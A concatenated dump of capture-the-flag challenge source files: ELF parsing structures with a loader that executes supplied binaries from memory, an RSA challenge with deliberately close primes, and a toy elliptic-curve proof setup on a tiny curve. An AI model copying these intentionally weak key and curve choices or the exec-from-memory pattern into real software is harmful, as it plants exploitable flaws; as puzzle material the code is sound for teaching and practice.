22: 'AT_IGNOREPPC',
23: 'AT_SECURE',
24: 'AT_BASE_PLATFORM', # String identifying real platforms
25: 'AT_RANDOM', # Address of 16 random bytes
31: 'AT_EXECFN', # Filename of executable
32: 'AT_SYSINFO',
33: 'AT_SYSINFO_EHDR',
34: 'AT_L1I_CACHESHAPE',
35: 'AT_L1D_CACHESHAPE',
36: 'AT_L2_CACHESHAPE',
37: 'AT_L3_CACHESHAPE',
}
class constants:
EI_MAG0 = 0
EI_MAG1 = 1
EI_MAG2 = 2
EI_MAG3 = 3
EI_CLASS = 4
EI_DATA = 5
EI_VERSION = 6
EI_OSABI = 7
EI_ABIVERSION = 8
EI_PAD = 9
EI_NIDENT = 16
ELFMAG0 = 0x7f
ELFMAG1 = ord('E')
ELFMAG2 = ord('L')
ELFMAG3 = ord('F')
ELFCLASSNONE = 0
ELFCLASS32 = 1
ELFCLASS64 = 2
ELFDATANONE = 0
ELFDATA2LSB = 1
ELFDATA2MSB = 2
# Legal values for Elf_Phdr.p_type (segment type).
PT_NULL = 0
PT_LOAD = 1
PT_DYNAMIC = 2
PT_INTERP = 3
PT_NOTE = 4
PT_SHLIB = 5
PT_PHDR = 6
PT_TLS = 7
# Legal values for Elf_Ehdr.e_type (object file type).
ET_NONE = 0
ET_REL = 1
ET_EXEC = 2
ET_DYN = 3
ET_CORE = 4
# Legal values for Elf_Dyn.d_tag (dynamic entry type).
DT_NULL = 0
DT_NEEDED = 1
DT_PLTRELSZ = 2
DT_PLTGOT = 3
DT_HASH = 4
DT_STRTAB = 5
DT_SYMTAB = 6
DT_RELA = 7
DT_RELASZ = 8
DT_RELAENT = 9
DT_STRSZ = 10
DT_SYMENT = 11
DT_INIT = 12
DT_FINI = 13
DT_SONAME = 14
DT_RPATH = 15
DT_SYMBOLIC = 16
DT_REL = 17
DT_RELSZ = 18
DT_RELENT = 19
DT_PLTREL = 20
DT_DEBUG = 21
DT_TEXTREL = 22
DT_JMPREL = 23
DT_ENCODING = 32
DT_FLAGS_1 = 0x000000006ffffffb
DT_VERNEED = 0x000000006ffffffe
DT_VERNEEDNUM = 0x000000006fffffff
DT_VERSYM = 0x000000006ffffff0
DT_RELACOUNT = 0x000000006ffffff9
DT_GNU_HASH = 0x000000006ffffef5
# Legal values for Elf_Shdr.sh_type (section type).
SHT_NULL = 0
SHT_PROGBITS = 1
SHT_SYMTAB = 2
SHT_STRTAB = 3
SHT_RELA = 4
SHT_HASH = 5
SHT_DYNAMIC = 6
SHT_NOTE = 7
SHT_NOBITS = 8
SHT_REL = 9
SHT_SHLIB = 10
SHT_DYNSYM = 11
SHT_NUM = 12
# Legal values for ST_TYPE subfield of Elf_Sym.st_info (symbol type).
STT_NOTYPE = 0
STT_OBJECT = 1
STT_FUNC = 2
STT_SECTION = 3
STT_FILE = 4
STT_COMMON = 5
STT_TLS = 6
STT_GNU_IFUNC = 10
SHN_UNDEF = 0
SHN_ABS = 0xfff1
SHN_COMMON = 0xfff2
#
# Notes used in ET_CORE. Architectures export some of the arch register sets
# using the corresponding note types via the PTRACE_GETREGSET and
# PTRACE_SETREGSET requests.
#
NT_PRSTATUS = 1
NT_PRFPREG = 2
NT_PRPSINFO = 3
NT_TASKSTRUCT = 4
NT_AUXV = 6
#
# Note to userspace developers: size of NT_SIGINFO note may increase
# in the future to accommodate more fields, don't assume it is fixed!
#
NT_SIGINFO = 0x53494749
NT_FILE = 0x46494c45
NT_PRXFPREG = 0x46e62b7f
NT_PPC_VMX = 0x100
NT_PPC_SPE = 0x101
NT_PPC_VSX = 0x102
NT_386_TLS = 0x200
NT_386_IOPERM = 0x201
NT_X86_XSTATE = 0x202
NT_S390_HIGH_GPRS = 0x300
NT_S390_TIMER = 0x301
NT_S390_TODCMP = 0x302
NT_S390_TODPREG = 0x303
NT_S390_CTRS = 0x304
NT_S390_PREFIX = 0x305
NT_S390_LAST_BREAK = 0x306
NT_S390_SYSTEM_CALL = 0x307
NT_S390_TDB = 0x308
NT_ARM_VFP = 0x400
NT_ARM_TLS = 0x401
NT_ARM_HW_BREAK = 0x402
NT_ARM_HW_WATCH = 0x403
NT_METAG_CBUF = 0x500
NT_METAG_RPIPE = 0x501
NT_METAG_TLS = 0x502
AT_NULL = 0
AT_IGNORE = 1
AT_EXECFD = 2
AT_PHDR = 3
AT_PHENT = 4
AT_PHNUM = 5
AT_PAGESZ = 6
AT_BASE = 7
AT_FLAGS = 8
AT_ENTRY = 9
AT_NOTELF = 10
AT_UID = 11
AT_EUID = 12
AT_GID = 13
AT_EGID = 14
AT_PLATFORM = 15
AT_HWCAP = 16
AT_CLKTCK = 17
AT_FPUCW = 18
AT_DCACHEBSIZE = 19
AT_ICACHEBSIZE = 20
AT_UCACHEBSIZE = 21
AT_IGNOREPPC = 22
AT_SECURE = 23
AT_BASE_PLATFORM = 24
AT_RANDOM = 25
AT_EXECFN = 31
AT_SYSINFO = 32
AT_SYSINFO_EHDR = 33
AT_L1I_CACHESHAPE = 34
AT_L1D_CACHESHAPE = 35
AT_L2_CACHESHAPE = 36
AT_L3_CACHESHAPE = 37
# Legal flags used in the d_val field of the DT_FLAGS dynamic entry.
DF_ORIGIN = 0x01
DF_SYMBOLIC = 0x02
DF_TEXTREL = 0x04
DF_BIND_NOW = 0x08
DF_STATIC_TLS = 0x10
# Legal flags used in the d_val field of the DT_FLAGS_1 dynamic entry.
DF_1_NOW = 0x00000001
DF_1_GLOBAL = 0x00000002
DF_1_GROUP = 0x00000004
DF_1_NODELETE = 0x00000008
DF_1_LOADFLTR = 0x00000010
DF_1_INITFIRST = 0x00000020
DF_1_NOOPEN = 0x00000040
DF_1_ORIGIN = 0x00000080
DF_1_DIRECT = 0x00000100
DF_1_TRANS = 0x00000200
DF_1_INTERPOSE = 0x00000400
DF_1_NODEFLIB = 0x00000800
DF_1_NODUMP = 0x00001000
DF_1_CONFALT = 0x00002000
DF_1_ENDFILTEE = 0x00004000
DF_1_DISPRELDNE = 0x00008000
DF_1_DISPRELPND = 0x00010000
DF_1_NODIRECT = 0x00020000
DF_1_IGNMULDEF = 0x00040000
DF_1_NOKSYMS = 0x00080000
DF_1_NOHDR = 0x00100000
DF_1_EDITED = 0x00200000
DF_1_NORELOC = 0x00400000
DF_1_SYMINTPOSE = 0x00800000
DF_1_GLOBAUDIT = 0x01000000
DF_1_SINGLETON = 0x02000000
DF_1_STUB = 0x04000000
DF_1_PIE = 0x08000000
R_X86_64_NONE = 0
R_X86_64_64 = 1
R_X86_64_PC32 = 2
R_X86_64_GOT32 = 3
R_X86_64_PLT32 = 4
R_X86_64_COPY = 5
R_X86_64_GLOB_DAT = 6
R_X86_64_JUMP_SLOT = 7
R_X86_64_RELATIVE = 8
R_X86_64_GOTPCREL = 9
R_X86_64_32 = 10
R_X86_64_32S = 11
R_X86_64_16 = 12
R_X86_64_PC16 = 13
R_X86_64_8 = 14
R_X86_64_PC8 = 15
R_X86_64_DPTMOD64 = 16
R_X86_64_DTPOFF64 = 17
R_X86_64_TPOFF64 = 18
R_X86_64_TLSGD = 19
R_X86_64_TLSLD = 20
R_X86_64_DTPOFF32 = 21
R_X86_64_GOTTPOFF = 22
R_X86_64_TPOFF32 = 23
R_X86_64_PC64 = 24
R_X86_64_GOTOFF64 = 25
R_X86_64_GOTPC32 = 26
R_X86_64_GOT64 = 27
R_X86_64_GOTPCREL64 = 28
R_X86_64_GOTPC64 = 29
R_X86_64_GOTPLT64 = 30
R_X86_64_PLTOFF64 = 31
R_X86_64_SIZE32 = 32
R_X86_64_SIZE64 = 33
R_X86_64_GOTPC32_TLSDESC = 34
R_X86_64_TLSDESC_CALL = 35
R_X86_64_TLSDESC = 36
R_X86_64_IRELATIVE = 37
R_X86_64_RELATIVE64 = 38
R_X86_64_GOTPCRELX = 41
R_X86_64_REX_GOTPCRELX = 42
R_X86_64_NUM = 43
class Elf32_Ehdr(ctypes.Structure):
_fields_ = [("e_ident", (ctypes.c_ubyte * 16)),
("e_type", Elf32_Half),
("e_machine", Elf32_Half),
("e_version", Elf32_Word),
("e_entry", Elf32_Addr),
("e_phoff", Elf32_Off),
("e_shoff", Elf32_Off),
("e_flags", Elf32_Word),
("e_ehsize", Elf32_Half),
("e_phentsize", Elf32_Half),
("e_phnum", Elf32_Half),
("e_shentsize", Elf32_Half),
("e_shnum", Elf32_Half),
("e_shstrndx", Elf32_Half),]
class Elf64_Ehdr(ctypes.Structure):
_fields_ = [("e_ident", (ctypes.c_ubyte * 16)),
("e_type", Elf64_Half),
("e_machine", Elf64_Half),
("e_version", Elf64_Word),
("e_entry", Elf64_Addr),
("e_phoff", Elf64_Off),
("e_shoff", Elf64_Off),
("e_flags", Elf64_Word),
("e_ehsize", Elf64_Half),
("e_phentsize", Elf64_Half),
("e_phnum", Elf64_Half),
("e_shentsize", Elf64_Half),
("e_shnum", Elf64_Half),
("e_shstrndx", Elf64_Half),]
class Elf32_Phdr(ctypes.Structure):
_fields_ = [("p_type", Elf32_Word),
("p_offset", Elf32_Off),
("p_vaddr", Elf32_Addr),
("p_paddr", Elf32_Addr),
("p_filesz", Elf32_Word),
("p_memsz", Elf32_Word),
("p_flags", Elf32_Word),
("p_align", Elf32_Word),]
class Elf64_Phdr(ctypes.Structure):
_fields_ = [("p_type", Elf64_Word),
("p_flags", Elf64_Word),
("p_offset", Elf64_Off),
("p_vaddr", Elf64_Addr),
("p_paddr", Elf64_Addr),
("p_filesz", Elf64_Xword),
("p_memsz", Elf64_Xword),
("p_align", Elf64_Xword),]
class Elf32_Shdr(ctypes.Structure):
_fields_ = [("sh_name", Elf32_Word),
("sh_type", Elf32_Word),
("sh_flags", Elf32_Word),
("sh_addr", Elf32_Addr),
("sh_offset", Elf32_Off),
("sh_size", Elf32_Word),
("sh_link", Elf32_Word),
("sh_info", Elf32_Word),
("sh_addralign", Elf32_Word),
("sh_entsize", Elf32_Word),]
class Elf64_Shdr(ctypes.Structure):
_fields_ = [("sh_name", Elf64_Word),
("sh_type", Elf64_Word),
("sh_flags", Elf64_Xword),
("sh_addr", Elf64_Addr),
("sh_offset", Elf64_Off),
("sh_size", Elf64_Xword),
("sh_link", Elf64_Word),
("sh_info", Elf64_Word),
("sh_addralign", Elf64_Xword),
("sh_entsize", Elf64_Xword),]
class _U__Elf32_Dyn(ctypes.Union):
_fields_ = [("d_val", Elf32_Sword),
("d_ptr", Elf32_Addr),]
class Elf32_Dyn(ctypes.Structure):
_anonymous_ = ("d_un",)
_fields_ = [("d_tag", Elf32_Sword),
("d_un", _U__Elf32_Dyn),]
class _U__Elf64_Dyn(ctypes.Union):
_fields_ = [("d_val", Elf64_Xword),
("d_ptr", Elf64_Addr),]
class Elf64_Dyn(ctypes.Structure):
_anonymous_ = ("d_un",)
_fields_ = [("d_tag", Elf64_Sxword),
("d_un", _U__Elf64_Dyn),]
class Elf32_Sym(ctypes.Structure):
_fields_ = [("st_name", Elf32_Word),
("st_value", Elf32_Addr),
("st_size", Elf32_Word),
("st_info", ctypes.c_ubyte),
("st_other", ctypes.c_ubyte),
("st_shndx", Elf32_Half),]
class Elf64_Sym(ctypes.Structure):
_fields_ = [("st_name", Elf64_Word),
("st_info", ctypes.c_ubyte),
("st_other", ctypes.c_ubyte),
("st_shndx", Elf64_Half),
("st_value", Elf64_Addr),
("st_size", Elf64_Xword),]
@property
def st_type(self):
return self.st_info & 0x0f
@property
def st_bind(self):
return self.st_info >> 4
@st_type.setter
def st_type(self, value):
value &= 0x0f
self.st_info = (self.st_bind << 4) | value
@st_bind.setter
def st_bind(self, value):
value &= 0x0f
self.st_info = (value << 4) | self.st_type
class Elf64_Rel(ctypes.Structure):
_fields_ = [("r_offset", Elf64_Addr),
("r_info", Elf64_Xword),]
@property
def r_sym(self):
return self.r_info >> 32
@property
def r_type(self):
return self.r_info % (1 << 32)
@r_sym.setter
def r_sym(self, value):
value %= (1 << 32)
self.r_info = (value << 32) | self.r_type
@r_type.setter
def r_type(self, value):
value %= (1 << 32)
self.r_info = (self.r_sym << 32) | value
class Elf64_Rela(ctypes.Structure):
_fields_ = [("r_offset", Elf64_Addr),
("r_info", Elf64_Xword),
("r_addend", Elf64_Sxword),]
@property
def r_sym(self):
return self.r_info >> 32
@property
def r_type(self):
return self.r_info % (1 << 32)
@r_sym.setter
def r_sym(self, value):
value %= (1 << 32)
self.r_info = (value << 32) | self.r_type
@r_type.setter
def r_type(self, value):
value %= (1 << 32)
self.r_info = (self.r_sym << 32) | value
class Elf32_Link_Map(ctypes.Structure):
_fields_ = [("l_addr", Elf32_Addr),
("l_name", Elf32_Addr),
("l_ld", Elf32_Addr),
("l_next", Elf32_Addr),
("l_prev", Elf32_Addr),]
class Elf64_Link_Map(ctypes.Structure):
_fields_ = [("l_addr", Elf64_Addr),
("l_name", Elf64_Addr),
("l_ld", Elf64_Addr),
("l_next", Elf64_Addr),
("l_prev", Elf64_Addr),]
#
# Additions below here by Zach Riggle for pwntool
#
# See the routine elf_machine_runtime_setup for the relevant architecture
# for the layout of the GOT.
#
# https://chromium.googlesource.com/chromiumos/third_party/glibc/+/master/sysdeps/x86/dl-machine.h
# https://chromium.googlesource.com/chromiumos/third_party/glibc/+/master/sysdeps/x86_64/dl-machine.h
# https://fossies.org/dox/glibc-2.20/aarch64_2dl-machine_8h_source.html#l00074
# https://fossies.org/dox/glibc-2.20/powerpc32_2dl-machine_8c_source.html#l00203
#
# For now, these are defined for x86 and x64
#
char = ctypes.c_char
byte = ctypes.c_byte
class Elf_eident(ctypes.Structure):
_fields_ = [('EI_MAG',char*4),
('EI_CLASS',byte),
('EI_DATA',byte),
('EI_VERSION',byte),
('EI_OSABI',byte),
('EI_ABIVERSION',byte),
('EI_PAD', byte*(16-9))]
class Elf_i386_GOT(ctypes.Structure):
_fields_ = [("jmp", Elf32_Addr),
("linkmap", Elf32_Addr),
("dl_runtime_resolve", Elf32_Addr)]
class Elf_x86_64_GOT(ctypes.Structure):
_fields_ = [("jmp", Elf64_Addr),
("linkmap", Elf64_Addr),
("dl_runtime_resolve", Elf64_Addr)]
class Elf_HashTable(ctypes.Structure):
_fields_ = [('nbucket', Elf32_Word),
('nchain', Elf32_Word),]
# ('bucket', nbucket * Elf32_Word),
# ('chain', nchain * Elf32_Word)]
# Docs: http://dyncall.org/svn/dyncall/tags/r0.4/dyncall/dynload/dynload_syms_elf.c
class GNU_HASH(ctypes.Structure):
_fields_ = [('nbuckets', Elf32_Word),
('symndx', Elf32_Word),
('maskwords', Elf32_Word),
('shift2', Elf32_Word)]
class Elf32_r_debug(ctypes.Structure):
_fields_ = [('r_version', Elf32_Word),
('r_map', Elf32_Addr)]
class Elf64_r_debug(ctypes.Structure):
_fields_ = [('r_version', Elf32_Word),
('r_map', Elf64_Addr)]
constants.DT_GNU_HASH = 0x6ffffef5
constants.STN_UNDEF = 0
pid_t = ctypes.c_uint32
class elf_siginfo(ctypes.Structure):
_fields_ = [('si_signo', ctypes.c_int32),
('si_code', ctypes.c_int32),
('si_errno', ctypes.c_int32)]
class timeval32(ctypes.Structure):
_fields_ = [('tv_sec', ctypes.c_int32),
('tv_usec', ctypes.c_int32),]
class timeval64(ctypes.Structure):
_fields_ = [('tv_sec', ctypes.c_int64),
('tv_usec', ctypes.c_int64),]
# See linux/elfcore.h
def generate_prstatus_common(size, regtype):
c_long = ctypes.c_uint32 if size==32 else ctypes.c_uint64
timeval = timeval32 if size==32 else timeval64
return [('pr_info', elf_siginfo),
('pr_cursig', ctypes.c_int16),
('pr_sigpend', c_long),
('pr_sighold', c_long),
('pr_pid', pid_t),
('pr_ppid', pid_t),
('pr_pgrp', pid_t),
('pr_sid', pid_t),
('pr_utime', timeval),
('pr_stime', timeval),
('pr_cutime', timeval),
('pr_cstime', timeval),
('pr_reg', regtype),
('pr_fpvalid', ctypes.c_uint32)
]
# See i386-linux-gnu/sys/user.h
class user_regs_struct_i386(ctypes.Structure):
_fields_ = [(name, ctypes.c_uint32) for name in [
'ebx',
'ecx',
'edx',
'esi',
'edi',
'ebp',
'eax',
'xds',
'xes',
'xfs',
'xgs',
'orig_eax',
'eip',
'xcs',
'eflags',
'esp',
'xss',
]]
assert ctypes.sizeof(user_regs_struct_i386) == 0x44
# See i386-linux-gnu/sys/user.h
class user_regs_struct_amd64(ctypes.Structure):
_fields_ = [(name, ctypes.c_uint64) for name in [
'r15',
'r14',
'r13',
'r12',
'rbp',
'rbx',
'r11',
'r10',
'r9',
'r8',
'rax',
'rcx',
'rdx',
'rsi',
'rdi',
'orig_rax',
'rip',
'cs',
'eflags',
'rsp',
'ss',
'fs_base',
'gs_base',
'ds',
'es',
'fs',
'gs',
]]
assert ctypes.sizeof(user_regs_struct_amd64) == 0xd8
class user_regs_struct_arm(ctypes.Structure):
_fields_ = [('r%i' % i, ctypes.c_uint32) for i in range(18)]
@property
def cpsr(self):
return self.r16
@property
def pc(self):
return self.r15
@property
def lr(self):
return self.r14
@property
def sp(self):
return self.r13
@property
def ip(self):
return self.r12
@property
def fp(self):
return self.r11
class user_regs_struct_aarch64(ctypes.Structure):
_fields_ = [('x%i' % i, ctypes.c_uint64) for i in range(31)] \
+ [('sp', ctypes.c_uint64),
('pc', ctypes.c_uint64),
('pstate', ctypes.c_uint64)]
@property
def lr(self):
return self.x30
def __getattr__(self, name):
if name.startswith('r'):
name = 'x' + name[1:]
return getattr(self, name) & 0xffffffff
raise AttributeError(name)
class elf_prstatus_i386(ctypes.Structure):
_fields_ = generate_prstatus_common(32, user_regs_struct_i386)
assert ctypes.sizeof(elf_prstatus_i386) == 0x90
class elf_prstatus_amd64(ctypes.Structure):
_fields_ = generate_prstatus_common(64, user_regs_struct_amd64) \
+ [('padding', ctypes.c_uint32)]
assert ctypes.sizeof(elf_prstatus_amd64) == 0x150
class elf_prstatus_arm(ctypes.Structure):
_fields_ = generate_prstatus_common(32, user_regs_struct_arm)
class elf_prstatus_aarch64(ctypes.Structure):
_fields_ = generate_prstatus_common(64, user_regs_struct_aarch64)
class Elf32_auxv_t(ctypes.Structure):
_fields_ = [('a_type', ctypes.c_uint32),
('a_val', ctypes.c_uint32),]
class Elf64_auxv_t(ctypes.Structure):
_fields_ = [('a_type', ctypes.c_uint64),
('a_val', ctypes.c_uint64),]
def generate_prpsinfo(long):
return [
('pr_state', byte),
('pr_sname', char),
('pr_zomb', byte),
('pr_nice', byte),
('pr_flag', long),
('pr_uid', ctypes.c_ushort),
('pr_gid', ctypes.c_ushort),
('pr_pid', ctypes.c_int),
('pr_ppid', ctypes.c_int),
('pr_pgrp', ctypes.c_int),
('pr_sid', ctypes.c_int),
('pr_fname', char * 16),
('pr_psargs', char * 80)
]
class elf_prpsinfo_32(ctypes.Structure):
_fields_ = generate_prpsinfo(Elf32_Addr)
class elf_prpsinfo_64(ctypes.Structure):
_fields_ = generate_prpsinfo(Elf64_Addr)
def generate_siginfo(int_t, long_t):
class siginfo_t(ctypes.Structure):
_fields_ = [('si_signo', int_t),
('si_errno', int_t),
('si_code', int_t),
('sigfault_addr', long_t),
('sigfault_trapno', int_t)]
return siginfo_t
class elf_siginfo_32(generate_siginfo(ctypes.c_uint32, ctypes.c_uint32)):
pass
class elf_siginfo_64(generate_siginfo(ctypes.c_uint32, ctypes.c_uint64)):
pass
"""
=[ custom elf parsing code ]=
"""
from ctypes import sizeof
from os import memfd_create, execve, write, environ
from pprint import pprint
import sys
from pathlib import Path
Header = Elf64_Ehdr
Segment = Elf64_Phdr
Section = Elf64_Shdr
Symbol = Elf64_Sym
Reloc = Elf64_Rela
DynTag = Elf64_Dyn
class ValidationException(Exception):
pass
def nextOrNone(iterable):
try:
return next(iterable)
except StopIteration:
return None
def listOf(struct: ctypes.Structure, raw: bytes):
return [struct.from_buffer(raw, i * sizeof(struct)) for i in range(len(raw) // sizeof(struct))]
class Strings:
def __init__(self, raw: bytes, size: int = -1, offset: int = 0):
if size < 0:
size = len(raw)
self.raw = raw[offset : offset + size]
def name(self, offset: int) -> None | bytes:
try:
name = b""
while self.raw[offset] != 0:
name += self.raw[offset].to_bytes(1, "little")
offset += 1
return name
except IndexError:
return None
class Elf:
def __init__(self, raw: bytes, header: Header, segments: list[Segment], sections: list[Section]):
self.raw = raw
self.ref = memoryview(raw)
self.header = header
self.segments = segments
self.sections = sections
self.dyanmicSegment = None
self.dyanmicTags = None
self.sectionNames = None
try:
shstrtab = sections[self.header.e_shstrndx]
self.sectionNames = Strings(self.content(shstrtab))
except IndexError:
pass
try:
self.dyanmicSegment = next(filter(lambda seg: seg.p_type == constants.PT_DYNAMIC, self.segments))
self.dyanmicTags = listOf(DynTag, self.content(self.dyanmicSegment))
except StopIteration:
pass
def write(self, file: str | Path):
with open(file, "wb") as out:
out.write(self.raw)
def run(self, argv: list[str] | None = None):
argv = argv or sys.argv
fd = memfd_create("chal", 0)
write(fd, self.raw)
execve(fd, argv, environ)
def content(self, part: Segment | Section) -> bytes:
if type(part) == Segment:
return self.ref[part.p_offset : part.p_offset + part.p_filesz]
elif type(part) == Section:
return self.ref[part.sh_offset : part.sh_offset + part.sh_size]
else:
raise NotImplementedError("unsupported argument type")
def dyntag(self, targetTag: int) -> None | DynTag:
if self.dyanmicTags:
return nextOrNone(filter(lambda tag: tag.d_tag == targetTag, self.dyanmicTags))
def relocs(self, part: bytes | Section) -> list[Reloc]:
if type(part) == bytes:
return listOf(Reloc, part)
elif type(part) == Section:
return listOf(Reloc, self.content(part))
else:
raise NotImplementedError("unsupported argument type")
def symtab(self, part: bytes | Section) -> list[Symbol]:
if type(part) == bytes:
return listOf(Symbol, part)
elif type(part) == Section:
return listOf(Symbol, self.content(part))
else:
raise NotImplementedError("unsupported argument type")
def strtab(self, part: bytes | Section) -> Strings:
if type(part) == bytes:
return Strings(part)
elif type(part) == Section:
return Strings(self.content(part))
else:
raise NotImplementedError("unsupported argument type")
def section(self, key: bytes | int) -> None | Section:
if type(key) == str:
key = key.encode()
if type(key) == bytes:
if self.sectionNames:
for section in self.sections:
if (name := self.sectionNames.name(section.sh_name)) and name == key:
return section
elif type(key) == int:
for section in self.sections:
if section.sh_type == key:
return section
else:
raise NotImplementedError("unsupported argument type")
class SectionFlags:
WRITE = 1 << 0
ALLOC = 1 << 1
EXECINSTR = 1 << 2
class SegmentFlags:
X = 1 << 0
W = 1 << 1
R = 1 << 2
def dump(struct: ctypes.Structure):
for name, t in struct._fields_:
val = getattr(struct, name)
if type(val) == int:
num = f"{val:x}".rjust(sizeof(t) * 2, "0")
print(f"{name:<12} = 0x{num}")
else:
print(f"{name:<12} = {val}")
def parse(data: bytes, blacklist_segments: list[int] = []) -> Elf:
data = bytearray(data)
header = Header.from_buffer(data)
# these dont actually matter but oh well
if header.e_ident[constants.EI_CLASS] != constants.ELFCLASS64:
raise ValidationException("must have 64 bit class")
if header.e_ident[constants.EI_DATA] != constants.ELFDATA2LSB:
raise ValidationException("must be little endian")
if header.e_ehsize != sizeof(Header):
raise ValidationException("bad header size")
if header.e_shentsize != sizeof(Section):
raise ValidationException("bad section size")
if header.e_phentsize != sizeof(Segment):
raise ValidationException("bad segment size")
# important checks
if header.e_ident[constants.EI_MAG0] != constants.ELFMAG0:
raise ValidationException("bad elf magic")
if header.e_ident[constants.EI_MAG1] != constants.ELFMAG1:
raise ValidationException("bad elf magic")
if header.e_ident[constants.EI_MAG2] != constants.ELFMAG2:
raise ValidationException("bad elf magic")
if header.e_ident[constants.EI_MAG3] != constants.ELFMAG3:
raise ValidationException("bad elf magic")
if header.e_machine != 0x3e:
raise ValidationException("bad machine")
if header.e_type != constants.ET_EXEC and header.e_type != constants.ET_DYN:
raise ValidationException("bad type")
segments = list(Segment.from_buffer(data, header.e_phoff + i * sizeof(Segment)) for i in range(header.e_phnum))
sections = list(Section.from_buffer(data, header.e_shoff + i * sizeof(Section)) for i in range(header.e_shnum))
for segment in segments:
if segment.p_type in blacklist_segments:
raise ValidationException("blacklisted segment not allowed")
return Elf(data, header, segments, sections) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2025/crypto/Easy_RSA/rsa_easy.py | ctfs/squ1rrel/2025/crypto/Easy_RSA/rsa_easy.py | import random
from sympy import nextprime, mod_inverse
def gen_primes(bit_length, diff=2**32):
p = nextprime(random.getrandbits(bit_length))
q = nextprime(p + random.randint(diff//2, diff))
return p, q
def gen_keys(bit_length=1024):
p, q = gen_primes(bit_length)
n = p * q
phi = (p - 1) * (q - 1)
e = 65537
d = mod_inverse(e, phi)
return (n, e)
def encrypt(message, public_key):
n, e = public_key
message_int = int.from_bytes(message.encode(), 'big')
ciphertext = pow(message_int, e, n)
return ciphertext
if __name__ == "__main__":
public_key = gen_keys()
message = "FLAG"
ciphertext = encrypt(message, public_key)
f = open("easy_rsa.txt", "a")
f.write(f"n: {public_key[0]} \n")
f.write(f"e: {public_key[1]} \n")
f.write(f"c: {ciphertext}")
f.close()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2025/crypto/Flat_Earth/server.py | ctfs/squ1rrel/2025/crypto/Flat_Earth/server.py | #!/usr/bin/sage
from sage.all import GF, EllipticCurve, PolynomialRing
import hashlib
import json
import sys
import re
# curve and fields
p = 7691
field_size = 641
Fp = GF(field_size)
Fq = GF(p)
Eq = EllipticCurve(Fq, [0, 1])
Fqr = Fq['r']
r = Fqr.gen()
Fq_2 = GF(p**2, modulus=r**2 + 1, name='v')
v = Fq_2.gen()
ExtEq = EllipticCurve(Fq_2, [0, 1])
# set generators
G1 = ExtEq([2693, 4312])
G2 = ExtEq(633*v + 6145, 7372*v + 109)
assert G1.order() == field_size
assert G2.order() == field_size
# generate toxic values
tau = Fp.random_element(Fp)
alpha = Fp.random_element(Fp)
beta = Fp.random_element(Fp)
gamma = Fp.random_element(Fp)
delta = Fp.random_element(Fp)
# crs
CRS1 = [tau**i * G1 for i in range(7)]
CRS2 = [tau**i * G2 for i in range(4)]
CRSTrap1 = [alpha * G1, beta * G1, delta * G1]
CRSTrap2 = [beta * G2, gamma * G2, delta * G2]
def commit(poly, CRS):
coeffs = poly.list()
degree = poly.degree()
com = ExtEq([0, 1, 0]) # point at infinity
for i in range(min(degree + 1, len(CRS))):
com += coeffs[i] * CRS[i]
return com
def point_to_str(point):
if point.is_zero():
return "O"
return f"({point[0]}, {point[1]})"
# convert string to point with field checks
def str_to_point(point_str):
if point_str == "O":
return ExtEq([0, 1, 0])
coords = point_str.strip("()").split(",")
if len(coords) != 2:
raise ValueError("Invalid point format")
# parse extension field point first (contains 'v')
x_str = coords[0].strip()
y_str = coords[1].strip()
if 'v' in x_str or 'v' in y_str:
try:
x_coord = None
y_coord = None
if '*v +' in x_str:
if not re.match(r'^-?\d+\*v \+ -?\d+$', x_str):
raise ValueError(f"Invalid extension field format: {x_str}")
x_parts = x_str.split('*v +')
try:
x_coeff1 = int(x_parts[0].strip())
x_coeff2 = int(x_parts[1].strip())
if not (0 <= x_coeff1 < p and 0 <= x_coeff2 < p):
raise ValueError("Coefficient out of field range")
x_coord = x_coeff1*v + x_coeff2
except ValueError:
raise ValueError(f"Invalid integer in extension field: {x_str}")
elif '*v' in x_str:
if not re.match(r'^-?\d+\*v$', x_str):
raise ValueError(f"Invalid extension field format: {x_str}")
x_parts = x_str.split('*v')
try:
x_coeff = int(x_parts[0].strip())
if not (0 <= x_coeff < p):
raise ValueError("Coefficient out of field range")
x_coord = x_coeff*v
except ValueError:
raise ValueError(f"Invalid integer in extension field: {x_str}")
elif re.match(r'^-?\d+$', x_str):
try:
x_int = int(x_str)
if not (0 <= x_int < p):
raise ValueError("Value out of field range")
x_coord = Fq_2(x_int)
except ValueError:
raise ValueError(f"Invalid integer: {x_str}")
else:
raise ValueError(f"Unrecognized format for x-coordinate: {x_str}")
if '*v +' in y_str:
if not re.match(r'^-?\d+\*v \+ -?\d+$', y_str):
raise ValueError(f"Invalid extension field format: {y_str}")
y_parts = y_str.split('*v +')
try:
y_coeff1 = int(y_parts[0].strip())
y_coeff2 = int(y_parts[1].strip())
if not (0 <= y_coeff1 < p and 0 <= y_coeff2 < p):
raise ValueError("Coefficient out of field range")
y_coord = y_coeff1*v + y_coeff2
except ValueError:
raise ValueError(f"Invalid integer in extension field: {y_str}")
elif '*v' in y_str:
if not re.match(r'^-?\d+\*v$', y_str):
raise ValueError(f"Invalid extension field format: {y_str}")
y_parts = y_str.split('*v')
try:
y_coeff = int(y_parts[0].strip())
if not (0 <= y_coeff < p):
raise ValueError("Coefficient out of field range")
y_coord = y_coeff*v
except ValueError:
raise ValueError(f"Invalid integer in extension field: {y_str}")
elif re.match(r'^-?\d+$', y_str):
try:
y_int = int(y_str)
if not (0 <= y_int < p):
raise ValueError("Value out of field range")
y_coord = Fq_2(y_int)
except ValueError:
raise ValueError(f"Invalid integer: {y_str}")
else:
raise ValueError(f"Unrecognized format for y-coordinate: {y_str}")
point = ExtEq([x_coord, y_coord])
return point
except Exception as e:
raise ValueError(f"Invalid extension field point: {point_str}. Error: {str(e)}")
else:
if not (re.match(r'^-?\d+$', x_str) and re.match(r'^-?\d+$', y_str)):
raise ValueError(f"Invalid coordinate format: ({x_str}, {y_str})")
try:
x_int = int(x_str)
y_int = int(y_str)
if not (0 <= x_int < p and 0 <= y_int < p):
raise ValueError("Coordinate out of field range")
x_coord = Fq(x_int)
y_coord = Fq(y_int)
point = ExtEq([x_coord, y_coord])
return point
except Exception as e:
